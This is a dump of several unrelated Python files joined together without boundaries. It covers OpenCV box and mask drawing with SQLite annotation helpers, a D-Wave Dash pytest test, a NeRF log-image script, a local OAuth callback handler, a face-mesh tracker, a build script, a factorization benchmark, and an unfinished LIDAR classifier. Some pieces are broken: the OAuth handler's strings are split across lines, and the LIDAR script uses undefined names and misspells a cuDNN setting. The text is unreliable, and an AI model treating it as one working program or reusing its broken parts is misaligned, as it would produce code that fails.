import os, os.path as op
import shutil
import logging
import cv2
import numpy as np
import pprint
import matplotlib.pyplot as plt

from lib.backend import backendDb
from lib.utils import utilBoxes

FONT = cv2.FONT_HERSHEY_SIMPLEX
SCALE = 28
FONT_SIZE = 0.7
THICKNESS = 3

def validateFileName(filename):
    invalid = '<>:\'"/\\|?+=!@#$%^&*,.~`'
    filename = maybeDecode(filename)
    for char in invalid:
        filename = filename.replace(char, '_')
    return filename

def maybeDecode(string):
    '''
    Db entries may be not in Unicode. Call this function to use db entries
    to name files in a filesystem.
    '''
    if isinstance(string, bytes):
        return string.decode('UTF-8')
    else:
        return string

def copyWithBackup(in_path, out_path):
    ''' Copy in_path into out_path, which is backed up if already exists. '''

    if not op.exists(in_path):
        raise FileNotFoundError('File does not exist: "%s"' % in_path)
    if op.exists(out_path):
        logging.warning('Will back up existing out_path "%s"', out_path)
        ext = op.splitext(out_path)[1]
        backup_path = op.splitext(out_path)[0] + '.backup%s' % ext
        if in_path != out_path:
            if op.exists(backup_path):
                os.remove(backup_path)
            os.rename(out_path, backup_path)
        else:
            shutil.copyfile(in_path, backup_path)
    if in_path != out_path:
        # copy input file into the output one
        shutil.copyfile(in_path, out_path)

def drawScoredRoi(img, roi, label=None, score=None):
    '''
    Draw a bounding box on top of image.
    Args:
      img:      Numpy color image.
      roi:      List/tuple [y1, x1, y2, x2].
      label:    String to print near the bounding box or None.
      score:    A float in range [0, 1] or None.
    Return:
      Nothing, 'img' is changed in place.
    '''
    assert len(img.shape) == 3 and img.shape[2] == 3, (
        'Image must be color, but is grayscale: %s' % str(img.shape))
    assert score is None or score >= 0 and score <= 1
    if label is None:
        label = ''
    label = maybeDecode(label)
    if score is None:
        score = 1
    color = tuple([int(x * 255)
                   for x in plt.cm.get_cmap('jet')(float(score))][0:3][::-1])
    roi = [int(a) for a in roi]  # In case some function did not cast them.
    cv2.rectangle(img, (roi[1], roi[0]), (roi[3], roi[2]), color, THICKNESS)
    text_coords = (roi[1], roi[0] - SCALE)
    cv2.putText(img, label, text_coords, FONT, FONT_SIZE, (0, 0, 0), THICKNESS)
    cv2.putText(img, label, text_coords, FONT, FONT_SIZE, (255, 255, 255),
                THICKNESS - 1)

def drawScoredPolygon(img, polygon, label=None, score=None):
    '''
    Args:
      img:      Numpy color image.
      polygon:  List of tuples (x,y)
      label:    String to print near the bounding box or None.
      score:    A float in range [0, 1] or None.
    Returns:
      Nothing, 'img' is changed in place.
    '''
    assert len(img.shape) == 3 and img.shape[2] == 3, (
        'Image must be color, but is grayscale: %s' % str(img.shape))
    if label is None:
        label = ''
    if isinstance(label, bytes):
        label = label.decode('UTF-8')
    if score is None:
        score = 1
    color = tuple([int(x * 255)
                   for x in plt.cm.get_cmap('jet')(float(score))][0:3][::-1])
    # In case some function did not cast them.
    polygon = [(int(x), int(y)) for x, y in polygon]
    for i1 in range(len(polygon)):
        i2 = (i1 + 1) % len(polygon)
        cv2.line(img, tuple(polygon[i1]), tuple(polygon[i2]), color, THICKNESS)
    # Draw a label.
    xmin = polygon[0][0]
    ymin = polygon[0][1]
    for i in range(len(polygon) - 1):
        xmin = min(xmin, polygon[i][0])
        ymin = min(ymin, polygon[i][1])
    text_coords = (xmin, ymin - SCALE)
    cv2.putText(img, label, text_coords, FONT, FONT_SIZE, (0, 0, 0), THICKNESS)
    cv2.putText(img, label, text_coords, FONT, FONT_SIZE, (255, 255, 255),
                THICKNESS - 1)

def drawTextOnImage(img, text):
    '''
    Draw text on image in the corner of the image.
    Returns:
      Nothing. Input "img" is changed in place.
    '''
    imheight, _ = img.shape[0:2]
    fontscale = float(imheight) / 500
    thickness = max(imheight // 100, 1)
    offsety = int(fontscale * 40)
    logging.debug('Using offset=%s, fontscale=%s, thickness=%s', offsety,
                  fontscale, thickness)
    text_coords = (5, offsety)
    if thickness == 1:
        cv2.putText(img, text, text_coords, FONT, fontscale, (255, 255, 255),
                    thickness)
    else:
        cv2.putText(img, text, text_coords, FONT, fontscale, (0, 0, 0),
                    thickness)
        cv2.putText(img, text, text_coords, FONT, fontscale, (255, 255, 255),
                    thickness - 1)

def applyLabelMappingToMask(mask, labelmap):
    '''
    Args:
      mask:     numpy 2-dim array, the same HxW as img.
      labelmap: dict from mask values to output values Key->Value, where:
                Key is scalar int in [0, 255] or a str type ">=N", "<=N", or "[M,N]".
                If Value is a scalar, the mask stays grayscale,
                if Value is a tuple (r,g,b), the mask is transformed to color.
                Examples {1: 255, 2: 128} or {1: (255,255,255), 2: (128,255,0)}.
                If not specified, the mask is used as is.
    Returns:
      mask      Mapped mask of type float
    '''
    logging.debug('Before mapping, mask had values %s',
                  set(mask.flatten().tolist()))

    if len(mask.shape) == 3:
        raise NotImplementedError('Color masks are not supported now.')

    logging.debug('Labelmap: %s', labelmap)
    if len(labelmap) is 0:
        raise ValueError('"labelmap" is empty.')

    dmask = None
    for key, value in labelmap.items():

        # Lazy initialization of dmask.
        if dmask is None:
            if isinstance(value, (list, tuple)) and len(value) == 3:
                # Create a dmask of shape (3, H, W)
                dmask = np.empty(
                    (3, mask.shape[0], mask.shape[1]), dtype=np.uint8) * np.nan
            elif isinstance(value, int):
                # Create a dmask of shape (H, W)
                dmask = np.empty(mask.shape[0:2], dtype=np.uint8) * np.nan
            else:
                raise TypeError('Values of "labelmap" are neither '
                                'a collection of length 3, not a number.')

        if isinstance(key, int):
            roi = mask == key
        elif isinstance(key, str) and len(key) >= 2 and key[0] == '>':
            roi = mask > int(key[1:])
        elif isinstance(key, str) and len(key) >= 2 and key[0] == '<':
            roi = mask < int(key[1:])
        elif isinstance(key, str) and len(key) >= 3 and key[0:2] == '>=':
            roi = mask >= int(key[2:])
        elif isinstance(key, str) and len(key) >= 3 and key[0:2] == '<=':
            roi = mask <= int(key[2:])
        elif isinstance(key, str) and len(
                key) >= 5 and key[0] == '[' and key[-1] == ']' and ',' in key:
            key1, key2 = tuple([int(x) for x in key[1:-1].split(',')])
            roi = np.bitwise_and(mask >= key1, mask <= key2)
        else:
            raise TypeError(
                'Could not interpret the key "%s". Must be int '
                'or string of type "<N", "<=N", ">N", ">=N", "[M,N]".' % key)

        # For grayscale target.
        if len(dmask.shape) == 2 and isinstance(value, int):
            dmask[roi] = value
        # For color target.
        elif len(dmask.shape) == 3 and isinstance(
                value, (list, tuple)) and len(value) == 3:
            dmask[0][roi] = value[0]
            dmask[1][roi] = value[1]
            dmask[2][roi] = value[2]
        else:
            raise ValueError(
                '"labelmap" value %s mismatches dmask\'s shape %s' %
                (value, dmask.shape))
        logging.debug('key: %s, value: %s, numpixels: %d.', key, value,
                      np.count_nonzero(roi))

    if len(dmask.shape) == 3:
        # From (3, H, W) to (H, W, 3)
        dmask = np.transpose(dmask, (1, 2, 0))
        logging.debug('Left %d pixels unmapped (NaN).',
                      np.count_nonzero(np.isnan(dmask[:, :, 0])))
    else:
        logging.debug('Left %d pixels unmapped (NaN).',
                      np.count_nonzero(np.isnan(dmask)))

    return dmask

def drawMaskOnImage(img, mask, alpha=0.5, labelmap=None):
    '''
    Draw a mask on the image, with colors.
    Args:
      img:      numpy array
      mask:     numpy 2-dim array, the same HxW as img.
      labelmap: same as arguments of applyLabelMappingToMask
      alpha:    float, alpha=0 means mask is not visible,
                       alpha=1 means img is not visible.
    Returns:
      Output image.
    '''
    if not len(img.shape) == 3:
        raise NotImplementedError('Only color images are supported now.')

    if labelmap is not None:
        mask = applyLabelMappingToMask(mask, labelmap).astype(np.uint8)

    if len(mask.shape) == 2:
        mask = cv2.cvtColor(mask, cv2.COLOR_GRAY2RGB)
    if img.shape[:2] != mask.shape[:2]:
        logging.warning('Image shape %s mismatches mask shape %s.', img.shape,
                        mask.shape)
        mask = cv2.resize(mask, (img.shape[1], img.shape[0]),
                          cv2.INTER_NEAREST)
    assert img.shape == mask.shape, (img.shape, mask.shape)

    # Overlay mask.
    logging.debug('alpha %.3f', alpha)
    img = cv2.addWeighted(src1=img,
                          alpha=1 - alpha,
                          src2=mask,
                          beta=alpha,
                          gamma=0)
    return img

def drawMaskAside(img, mask, labelmap=None):
    '''
    Draw a mask on the image, with colors.
    Args:
      img:      numpy array
      mask:     numpy array, the same HxW as img.
      labelmap: see arguments for applyLabelMappingToMask.
    Returns:
      Output image.
    '''
    logging.debug('Image shape: %s, image dtype: %s', img.shape, img.dtype)
    logging.debug('Mask shape: %s, mask dtype: %s', mask.shape, mask.dtype)
    if labelmap is not None:
        mask = applyLabelMappingToMask(mask, labelmap)

    if len(mask.shape) == 3 and mask.shape[2] == 4 and len(
            img.shape) == 3 and img.shape[2] == 3:
        logging.debug(
            'Mask has alpha channel, but image does not. Add it to image.')
        img = np.concatenate([
            img,
            np.ones((img.shape[0], img.shape[1], 1), dtype=np.uint8) * 255
        ],
                             axis=2)
    if len(mask.shape) == 2 and len(img.shape) == 3 and img.shape[2] == 3:
        mask = cv2.cvtColor(mask, cv2.COLOR_GRAY2RGB)
    if mask.dtype == np.uint16:  # 16 bit is transferred to 8 bit.
        mask = (mask // 256).astype(np.uint8)
    if img.shape[:2] != mask.shape[:2]:
        logging.warning('Image shape %s mismatches mask shape %s.', img.shape,
                        mask.shape)
        mask = cv2.resize(mask, (img.shape[1], img.shape[0]),
                          cv2.INTER_NEAREST)
    assert img.shape == mask.shape, (img.shape, mask.shape)

    # Draw mask aside.
    img = np.hstack([img, mask])
    return img

def bboxes2polygons(cursor, objectid):
    ''' A rectangular polygon is added to objects that are missing polygons. '''

    # If there are already polygon entries, do nothing.
    cursor.execute('SELECT COUNT(1) FROM polygons WHERE objectid=?',
                   (objectid, ))
    if cursor.fetchone()[0] > 0:
        return

    cursor.execute('SELECT * FROM objects WHERE objectid=?', (objectid, ))
    object_entry = cursor.fetchone()
    if object_entry is None:
        raise ValueError('Objectid %d does not exist.' % objectid)
    y1, x1, y2, x2 = backendDb.objectField(object_entry, 'roi')
    for x, y in [(x1, y1), (x2, y1), (x2, y2), (x1, y2)]:
        cursor.execute(
            'INSERT INTO polygons(objectid,x,y,name) VALUES (?,?,?,"bounding box")',
            (objectid, x, y))
    logging.debug(
        'Added polygon from bbox y1=%d,x1=%d,y2=%d,x2=%d to objectid %d', y1,
        x1, y2, x2, objectid)

def polygons2bboxes(cursor, objectid):
    '''
    A bounding box is created around objects that don't have it
    via enclosing the polygon. The polygon is assumed to be present.
    '''
    cursor.execute('SELECT COUNT(1) FROM polygons WHERE objectid=?',
                   (objectid, ))
    if cursor.fetchone()[0] == 0:
        logging.debug('Objectid %d does not have polygons.', objectid)
        return
    cursor.execute(
        'UPDATE objects SET x1=(SELECT MIN(x) FROM polygons '
        'WHERE objectid=?) WHERE objectid=?', (objectid, objectid))
    cursor.execute(
        'UPDATE objects SET y1=(SELECT MIN(y) FROM polygons '
        'WHERE objectid=?) WHERE objectid=?', (objectid, objectid))
    cursor.execute(
        'UPDATE objects SET width=(SELECT MAX(x) FROM polygons '
        'WHERE objectid=?) - x1 WHERE objectid=?', (objectid, objectid))
    cursor.execute(
        'UPDATE objects SET height=(SELECT MAX(y) FROM polygons '
        'WHERE objectid=?) - y1 WHERE objectid=?', (objectid, objectid))

def polygons2mask(cursor, objectid):
    ''' A mask is created around each object by painting inside polygons. '''

    cursor.execute(
        'SELECT i.width,i.height FROM images i INNER JOIN '
        'objects o ON i.imagefile=o.imagefile '
        'WHERE objectid=?', (objectid, ))
    width, height = cursor.fetchone()
    mask = np.zeros((height, width), dtype=np.int32)

    # Iterate multiple polygons (if any) of the object.
    cursor.execute('SELECT DISTINCT(name) FROM polygons WHERE objectid=?',
                   (objectid, ))
    polygon_names = cursor.fetchall()
    logging.debug('objectid %d has %d.', objectid, len(polygon_names))
    for polygon_name, in polygon_names:

        # Draw a polygon.
        if polygon_name is None:
            cursor.execute('SELECT x,y FROM polygons WHERE objectid=?',
                           (objectid, ))
        else:
            cursor.execute(
                'SELECT x,y FROM polygons WHERE objectid=? AND name=?',
                (objectid, polygon_name))
        pts = [[pt[0], pt[1]] for pt in cursor.fetchall()]
        logging.debug('Polygon "%s" of object %d consists of points: %s',
                      polygon_name, objectid, str(pts))
        if len(pts) < 3:
            logging.debug('Skipping polygon without enough points')
            continue
        cv2.fillPoly(mask, np.asarray([pts], dtype=np.int32), 255)

    mask = mask.astype(np.uint8)
    return mask

def getIntersectingObjects(objects1, objects2, IoU_threshold, same_id_ok=True):
    '''
    Given two lists of objects find pairs that intersect by IoU_threshold.
    Objects are assumed to be in the same image.

    Args:
      objects1, objects2:  A list of object entries.
                           Each entry is the whole row in the 'objects' table.
      IoU_threshold:       A float in range [0, 1].
    Returns:
      A list of tuples. Each tuple has objectid of an entry in 'objects1' and
                           objectid of an entry in 'objects2'.
    '''

    # Compute pairwise distances between rectangles.
    # TODO: possibly can optimize in future to avoid O(N^2) complexity.
    pairwise_IoU = np.zeros(shape=(len(objects1), len(objects2)), dtype=float)
    for i1, object1 in enumerate(objects1):
        for i2, object2 in enumerate(objects2):
            # Do not merge an object with itself.
            objectid1 = backendDb.objectField(object1, 'objectid')
            objectid2 = backendDb.objectField(object2, 'objectid')
            if objectid1 == objectid2 and not same_id_ok:
                pairwise_IoU[i1, i2] = np.nan
            else:
                roi1 = backendDb.objectField(object1, 'roi')
                roi2 = backendDb.objectField(object2, 'roi')
                pairwise_IoU[i1, i2] = utilBoxes.getIoU(roi1, roi2)
    logging.debug('Pairwise_IoU is:\n%s', pprint.pformat(pairwise_IoU))

    # Greedy search for pairs.
    pairs_to_merge = []
    for _ in range(min(len(objects1), len(objects2))):
        i1, i2 = np.unravel_index(np.argmax(pairwise_IoU), pairwise_IoU.shape)
        IoU = pairwise_IoU[i1, i2]
        logging.debug('Next object at indices [%d, %d]. IoU: %s', i1, i2,
                      str(IoU))
        # Stop if no more good pairs.
        if np.isnan(IoU) or IoU < IoU_threshold:
            break
        # Disable these objects for the next step.
        pairwise_IoU[i1, :] = 0.
        pairwise_IoU[:, i2] = 0.
        # Add a pair to the list.
        objectid1 = backendDb.objectField(objects1[i1], 'objectid')
        objectid2 = backendDb.objectField(objects2[i2], 'objectid')
        pairs_to_merge.append((objectid1, objectid2))
        name1 = backendDb.objectField(objects1[i1], 'name')
        name2 = backendDb.objectField(objects2[i2], 'name')
        logging.debug('Will merge objects %d (%s) and %d (%s) with IoU %f.',
                      objectid1, name1, objectid2, name2, IoU)

    return pairs_to_merge


from parameterized import parameterized
import pytest
from unittest.mock import patch

from contextvars import copy_context, ContextVar
from dash._callback_context import context_value
from dash._utils import AttributeDict
from dash import no_update

import json

import dimod
from dwave.cloud import api

from helpers.jobs import TERMINATED

from app import display_solutions

job_submit_state = ContextVar('job_submit_state')
job_id = ContextVar('job_id')

sampleset = dimod.SampleSet.from_samples([
    {"bus_0": 0, "drive_0": 1, "cycle_0": 0, "walk_0": 0},
    {"bus_0": 0, "drive_0": 0, "cycle_0": 0, "walk_0": 1}], "BINARY", [0, 0])
sampleset = dimod.append_data_vectors(sampleset, is_satisfied=[[True], [True]])
sampleset_feasible = dimod.append_data_vectors(sampleset, is_feasible=[[True],[False]])
sampleset_infeasible = dimod.append_data_vectors(sampleset, is_feasible=[[False],[False]])

class fake_future():

    def __init__(self, feasible):

        if feasible:
            self.sampleset = sampleset_feasible
        else:
            self.sampleset = sampleset_infeasible

class mock_client():

    @classmethod
    def retrieve_answer(cls, job_id):
        if job_id == "123":
            a_fake_future = fake_future(True)
            return a_fake_future
        else:
            a_fake_future = fake_future(False)
            return a_fake_future

parametrize_vals = [
("Status: COMPLETED", "123", sampleset_feasible, "Feasible solutions: 50.0%"),
("Status: CANCELLED", "123", "No solutions for last submission", "No solutions for last submission"),
("Status: PENDING", "123", no_update, no_update),
("Status: COMPLETED", "456", json.dumps(sampleset_infeasible.to_serializable()),
    "No feasible solutions found."),]

@pytest.mark.parametrize("job_submit_state_val, job_id_val, solutions_code, solutions_human",
    parametrize_vals)
@patch("app.client", mock_client)
def test_display_solutions(job_submit_state_val, job_id_val, solutions_code,
    solutions_human):
    """Test display of returned samplesets."""

    def run_callback():
        context_value.set(AttributeDict(**
            {"triggered_inputs": [{"prop_id": "job_submit_state.children"}],
             "state_values": [{"prop_id": "job_id.children"}]}))

        return display_solutions(job_submit_state.get(), job_id.get())

    job_submit_state.set(job_submit_state_val)
    job_id.set(job_id_val)

    ctx = copy_context()

    output = ctx.run(run_callback)

    if job_submit_state_val == "Status: COMPLETED" and job_id_val == "123":

        assert solutions_code == dimod.SampleSet.from_serializable(json.loads(output[0]))
        assert solutions_human in output[1].split("/n")[0]

    else:

        assert output == (solutions_code, solutions_human)


import matplotlib.pyplot as plt
import numpy as np
import requests
from img_utility import *
from pseudo_utility import *

data = np.load('tiny_nerf_data.npz')
images = data['images']
log_images = []
#images = np.array(logify_image(images)) #logify crude
for img in images:
    img1 = srgb_to_xyz(img, max_val=255)
    img1 = float_to_tiff(img1)
    #img1 = bgr_to_rgb(img1)
    img1 = tiff_to_log(img1)
    log_images.append(img1)
images = np.array(log_images)
poses = data['poses']
focal = data['focal']
H, W = images.shape[1:3]

print(images.shape, poses.shape, focal)

testimg, testpose = images[101], poses[101]
images = images[:100,...,:3]
poses = poses[:100]

plt.imshow(testimg)
plt.show()

print(testimg.shape)
print(testimg[50])
"""# Optimize NeRF"""
#Introducing, Heather's code

# img = testimg
# img = srgb_to_xyz(img, max_val=1)
# img = float_to_tiff(img)
# img = bgr_to_rgb(img)
# #img = float_to_tiff(img)
# #img = srgb_to_xyz(img, max_val=1)
# max_16_bit_val = 65535
# sixteen_bit_image = img# (np.floor_divide((img * max_16_bit_val), 1)).astype(np.uint16)
# plt.imshow(img)
# plt.title('linear')
# plt.show()
#
# #logify
# #def tiff_to_log(sixteen_bit_image):
# # sixteen_bit_image = sixteen_bit_image.astype(np.float32)
# # sixteen_bit_image[sixteen_bit_image!=0] = np.log(sixteen_bit_image[sixteen_bit_image!=0])
# #return sixteen_bit_image
# img = tiff_to_log(sixteen_bit_image)
# plt.imshow(sixteen_bit_image)
# plt.title('log image')
# plt.show()
#Introducing, Heather's code
#icecream float
max_val = np.max(testimg)
# max_val = 255/max_val
# print(max_val)
# new_image = (np.floor_divide((testimg * max_val), 1)).astype(np.uint8)
# plt.imshow(new_image)
# plt.title('new image')
# plt.show()
logdiv = 11.4
displog_image = (testimg / logdiv) * 255
displog_image = displog_image.astype("uint8")
#displog_image = cv2.cvtColor(displog_image, cv2.COLOR_BGR2RGB)
plt.imshow(displog_image)
plt.title('log view new')
plt.show()


from six.moves.BaseHTTPServer import BaseHTTPRequestHandler
from six.moves.urllib_parse import parse_qsl, urlparse

def parse_auth_response_url(url):
    query_s = urlparse(url).query
    form = dict(parse_qsl(query_s))
    return tuple(form.get(param) for param in ["state", "code"])

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.server.auth_code = self.server.error = None
        try:
            state, auth_code = parse_auth_response_url(self.path)
            self.server.state = state
            self.server.auth_code = auth_code
        except Exception as err:
            self.server.state = err.state
            self.server.error = err.error

        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()

        if self.server.auth_code:
            status = "successful"
        elif self.server.error:
            status = "failed ({})".format(self.server.error)
        else:
            self._write("
Invalid request
")
            return

        self._write(f"""

Authentication status: {status}

This window can be closed.

""")

    def _write(self, text):
        return self.wfile.write(text.encode("utf-8"))

    def log_message(self, format, *args):
        return


#!/usr/bin/env python

import json

def main():
    d = json.load(open('good_api.json'))
    entries = d['entries']

    print('books by Frank Herbert written before 1980')
    for entry in entries:
        if entry['copyright'] < 1980:
            if entry['author'] == 'Frank Herbert':
                print(entry['book'])

    print([entry for entry in entries if
     entry['author'] == 'Frank Herbert' and
     entry['copyright'] < 1980])

if __name__ == "__main__":
    main()


# import libraries
import cv2
import mediapipe as mp
import time

# Class that will be used for tracking
class face_meshTracker():
    # init basic parameters that make face_mesh function
    def __init__(self, staticMode=False, maxFaces=1, refine_landmarks=False, minDetectionCon=0.5, minTrackCon=0.5):

        self.staticMode = staticMode
        self.maxFaces = maxFaces
        self.refine_landmarks = refine_landmarks
        self.minDetectionCon = minDetectionCon
        self.minTrackCon = minTrackCon

        # initialize mediapipe

        self.mpFaceMesh = mp.solutions.face_mesh
        self.faceMesh = self.mpFaceMesh.FaceMesh(self.staticMode, self.maxFaces, self.refine_landmarks, self.minDetectionCon, self.minTrackCon)
        self.mpDraw = mp.solutions.drawing_utils
        # DrawingSpec() allows us to customize how mediapipe draws detected face landmarks
        self.DrawSpec = self.mpDraw.DrawingSpec(thickness=1, circle_radius=1)

    # method to locate face mesh
    def facemeshFinder(self, img, draw=True):
        self.imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
        self.results = self.faceMesh.process(self.imgRGB)
        faces = []
        if self.results.multi_face_landmarks:
            for faceLms in self.results.multi_face_landmarks:
                if draw:
                    self.mpDraw.draw_landmarks(img, faceLms, self.mpFaceMesh.FACEMESH_CONTOURS,
                        self.DrawSpec, self.DrawSpec)
                face = []
                for id,lm in enumerate(faceLms.landmark):
                #print(lm)
                    ih, iw, ic = img.shape
                    x,y = int(lm.x*iw), int(lm.y*ih)
                    # circle hand points detected
                    cv2.circle(img, (x, y), 1, (255, 0, 255), cv2.FILLED)

                    face.append([x,y])
                faces.append(face)
        return img, faces

# define main method to identify and track face mesh
def main():
    cap = cv2.VideoCapture(0)
    pTime = 0
    tracker = face_meshTracker(maxFaces=2)
    while True:
        success, img = cap.read()
        img, faces = tracker.facemeshFinder(img)
        if len(faces)!= 0:
            print(faces[0])

        cTime = time.time()
        fps = 1 / (cTime - pTime)
        pTime = cTime
        cv2.putText(img, str(int(fps)), (10, 70), cv2.FONT_HERSHEY_PLAIN, 3,
                (255, 0, 255), 3)

        cv2.imshow('Video', img)
        k = cv2.waitKey(1)
        if k == 27:
            break

# execute main method to identify and track
if __name__ == '__main__':
    main()


from src.build import cowgol
from src.toolchains import TOOLCHAINS
from build.ab2 import export

PROGRAMS = [
    "argv",
    "file",
    "filetester",
    "helloworld",
    "icando",
    "mandel",
]

items = {}
for toolchain in TOOLCHAINS:
    toolchain.materialise()
    for prog in PROGRAMS:
        t = cowgol(
            name=prog + "-for-" + toolchain.localname,
            srcs="./" + prog + ".cow",
            toolchain=toolchain,
        )

        items[
            f"bin/examples/{prog}-for-{toolchain.localname}{toolchain.binext}"
        ] = t

export(name="examples", items=items)


import time
from multiprocessing import Pool, cpu_count

def factorize(number):
    factors = []
    for i in range(1, number + 1):
        if number % i == 0:
            factors.append(i)
    return factors

def factorize_parallel(number):
    factors = []
    for i in range(1, number + 1):
        if number % i == 0:
            factors.append(i)
    return factors

if __name__ == "__main__":
    numbers = [128, 255, 99999, 10651060]

    # Синхронно
    start_time = time.time()
    result_sync = [factorize(number) for number in numbers]
    end_time = time.time()

    print("Синхронна версія:")
    for i, number in enumerate(numbers):
        print(f"Число {number} розкладається на: {result_sync[i]}")
    print(f"Час виконання: {end_time - start_time:.4f} секунд")

    # Паралельно
    num_cores = cpu_count()
    start_time = time.time()
    with Pool(num_cores) as pool:
        result_parallel = pool.map(factorize_parallel, numbers)
    end_time = time.time()

    print("\nПаралельна версія:")
    for i, number in enumerate(numbers):
        print(f"Число {number} розкладається на: {result_parallel[i]}")
    print(f"Час виконання: {end_time - start_time:.4f} секунд")


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sat May 20 14:34:39 2023

@author: moonlab
"""

import numpy as np
from plyreader import PlyReader
import matplotlib.pyplot as plt
import os
import open3d
from tqdm import tqdm
#from IPython import get_ipython
#get_ipython().run_line_magic('matplotlib', 'qt')
import sys
sys.path.append('./alpha_predictor/')
import statistics as st

import alpha_model
import torch
import torch.backends.cudnn as cudnn

device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
cudnn.benchmak = False
cudnn.deterministic = True
cudnn.enabled = True
torch.cuda.set_device(0)

labs_median = [50,20,1600,300,140]  #hand optimized value
labs = ['bush','puddle','person','grass','tree']

z_factor = [0,1,0,1,0]
height = -0.5

def binarysearch(arr, m, x):
    l, r = 0, m - 1

    while l <= r:
        mid = (l + r) // 2

        # Checking if the middle element is equal to x
        if arr[mid] == x:
            return True
        elif arr[mid] < x:
            l = mid + 1
        else:
            r = mid - 1

   # return true , if element x is present in the array
   # else false
    return False

# Function to count common element
def count_common(a, n, b, m):
    b.sort()
    count = 0

    # Iterate each element of array a
    for i in range(n):

        # Checking  if the element of array a is present in
        # array b using the binary search function
        if binarysearch(b, m, a[i]):
             count += 1
    # Return count of common element
    return count
def find_closest_element(arr1, arr2):
    # Reshape arr1 and arr2 to have dimensions for broadcasting
    arr1 = arr1.reshape(-1, 1)
    arr2 = arr2.reshape(1, -1)

    # Compute the absolute differences between elements in arr1 and arr2
    absolute_diff = np.abs(arr1 - arr2)

    # Find the indices of the minimum differences along axis 0
    closest_indices = np.argmin(absolute_diff, axis=0)

    # Get the closest elements from arr1 using the indices
    closest_elements = arr1[closest_indices]

    return closest_elements

def class_predictor(cal_ins,z): ##predict the class of the LIDAR points comparing the defined medians
    closest_elements = find_closest_element(np.array(labs_median), cal_ins)
    for i in range(len(labs)):
        ind = np.where(closest_elements==labs_median[i])[0]
        heig = z[ind]
        if z_factor[i] == 1:
            inx = np.where(heig>height)[0]
            closest_elements[ind[inx]] = 4
            ind = np.delete(ind,inx)
        else:
            inx = np.where(heig<height)[0]
            closest_elements[ind[inx]] = 3
            ind = np.delete(ind,inx)
        closest_elements[ind] = ant[i]
    return np.array(closest_elements).flatten()

def label_assigner(labels):   #function to give coloured annotation to the lidar points
    gt_label_col = np.zeros((len(labels),3))
    for i in range(len(labs)):
        ind = np.where(labels==ant[i])[0]
        gt_label_col[ind] = colors[i]
    return gt_label_col

def load_from_bin(bin_path): #loading the bin file
    obj = np.fromfile(bin_path, dtype=np.float32).reshape(-1, 4)
    return obj

def neighbour_filter(pc,labels): ##filter outliers in prediction considering neighbours
    pcd = open3d.geometry.KDTreeFlann(pc)
    label_a = np.array([17]) ##input classes to be filtered, 17 is for person.
    for i in range(len(labels)):
        ml = labels[i]
        if ml == label_a.any():
            rad = 0.7
        else:
            rad = 0.25
        [k,idx,_] = pcd.search_radius_vector_3d(pc.points[i],rad)
        if len(idx) == 1:
            continue
        ml = labels[i]
        ls = labels[idx[1:]]
        lk = st.mode(ls)
        if ml == lk:
            continue
        else:
            labels[i] = lk
    return labels

def convert_ply2bin(bin_path,label_file): ##read, extract and filter the point cloud
    raw_points = load_from_bin(bin_path)
    labels = np.fromfile('./Rellis_3D_vel_cloud_node_semantickitti_label_id/Rellis-3D/00000/vel_cloud_node_semantickitti_label_id/'+label_file[:-3]+'label',dtype = np.int32,count = -1)

    ind = np.where(labels == 0)[0]
    labels = np.delete(labels,list(ind))
    raw_points = np.delete(raw_points,list(ind),axis = 0)

    # extracting the points and intensity
    x,y,z,ins= raw_points[:,0],raw_points[:,1],raw_points[:,2],raw_points[:,3]
    dis = np.square(x)+np.square(y)+np.square(z)
    dist = np.abs(np.sqrt(dis))

    ##removing lidar points less that 7 meters(near range effect)
    ind = np.where(dis <= 50)[0]
    ins = np.delete(ins,list(ind))
    dis = np.delete(dis,list(ind))
    dist = np.delete(dist,list(ind))
    x = np.delete(x,list(ind))
    y = np.delete(y,list(ind))
    z = np.delete(z,list(ind))
    labels = np.delete(labels,list(ind))

    ##removing lidar points greater than 50 meters
    ind = np.where(dis >= 2500)[0]
    ins = np.delete(ins,list(ind))
    dis = np.delete(dis,list(ind))
    dist = np.delete(dist,list(ind))
    x = np.delete(x,list(ind))
    y = np.delete(y,list(ind))
    z = np.delete(z,list(ind))
    labels = np.delete(labels,list(ind))

    ## removing classes that are not considered.
    intensity = []
    x1 = []
    y1 = []
    z1 = []
    dis2 = []
    label = []

    for i in ant:
        ind = np.where(labels == i)
        x1.extend(x[ind])
        y1.extend(y[ind])
        z1.extend(z[ind])
        dis2.extend(dis[ind])
        intensity.extend(ins[ind])
        label.extend(labels[ind])

    x1 = np.array(x1)
    y1 = np.array(y1)
    z1 = np.array(z1)
    dis2 = np.array(dis2)
    intensity = np.array(intensity)
    label = np.array(label)

    return dis2,x1,y1,z1, label, intensity ##distance^2, x,y,z, alpha, labels, filtered intensity, point cloud

def normal_estimate(x,y,z):
    ## Normal estimation of the point cloud
    points = np.zeros((len(x),3))
    points[:,0],points[:,1],points[:,2] = x , y, z
    pc = open3d.geometry.PointCloud()
    pc.points = open3d.utility.Vector3dVector(points)
    pc.estimate_normals(search_param = open3d.geometry.KDTreeSearchParamHybrid(radius = 0.5,max_nn = 10),fast_normal_computation = False )
    #open3d.visualization.draw_geometries([pc])
    nm = np.asarray(pc.normals) ## Array of normals
    return nm , pc ## normals, point cloud

def predict_alpha(normals):
    ## Angle of incidence predictor using surface normals only!
    data = torch.Tensor(normals)
    models.eval()
    inp = data.to(device)
    out = models(inp)
    angles = out.detach().cpu().numpy()
    angles = np.array(angles).flatten()
    return angles ##angle of incidence

def vel2ouster(intensity, distance,vel2os):
    f_qt = []
    for k in range(len(intensity)):
        intes = intensity[k]
        dic = distance[k]
        qot = vel2os(dic)
        intes = intes*qot
        f_qt.append(intes)
    return np.asarray(f_qt)

def Iou(labels,predict):
    class_iou = []
    for i in ant:
        gt_ids = np.where(labels == i)[0]
        if len(gt_ids) <5:
            continue
        pred_ids = np.where(predict == i)[0]
        intersec = count_common(gt_ids, len(gt_ids), pred_ids, len(pred_ids))
        cl_iou = intersec/(len(gt_ids)+len(pred_ids)-intersec)
        class_iou.append(cl_iou)
    return class_iou

if __name__ == "__main__":
    acc = []
    j = 0
    root = '/media/moonlab/sd_card/Rellis_3D_lidar_example/'
    models = alpha_model.alpha()
    models.to(device)
